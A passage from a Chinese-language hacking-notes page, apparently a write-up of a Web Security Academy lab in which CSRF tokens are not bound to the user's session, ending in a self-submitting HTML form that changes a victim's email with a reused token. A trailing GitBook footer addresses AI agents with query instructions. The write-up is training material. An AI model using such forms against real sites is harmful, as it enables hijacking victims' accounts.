> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/csrf/csrf-token-not-tied-to-session.md).

# 令牌未绑定到会话的 CSRF

### CSRF：令牌未绑定到用户会话

#### 实验目标

通过 CSRF 攻击更改受害者的电子邮件地址。该应用使用 CSRF 令牌，但它们 **未与用户会话绑定**.

#### 观察

每个 CSRF 令牌都 **只能使用一次**.

<figure><img src="/files/63f1c084b027f5b550af9842243171674991c573" alt=""><figcaption></figcaption></figure>

* 这些令牌 **未与会话关联**：使用用户 A 获取的令牌可以用来攻击 B。

<figure><img src="/files/0daa719dfee6cdc9508a6de3148e1038374a131f" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4bcea1d78e43b1b2090c7d45e41a86ee1bfaf0c1" alt=""><figcaption></figcaption></figure>

#### 操作策略

1. **获取一个新的 CSRF 令牌** 但不使用它（拦截一个新请求以获取仍然有效的令牌）。
2. **在** 攻击服务器上托管一个恶意表单，发送 POST 请求，通过复用 **该令牌来更改电子邮件地址**.
3. 当受害者访问陷阱页面时，表单会自动发送并 **修改他们的电子邮件地址**.

```html
<form class="login-form" name="change-email-form" action="https://0abb002803dad06d8096038d003a0088.web-security-academy.net/my-account/change-email" method="POST">
          <input required="" type="email" name="email" value="hacked@byjordan.com">
           <input required="" type="hidden" name="csrf" value="LMds3vzdHoalpvvZ6EHmKpg2M00olc4A">
  </form>

<script>
   document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/csrf/csrf-token-not-tied-to-session.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
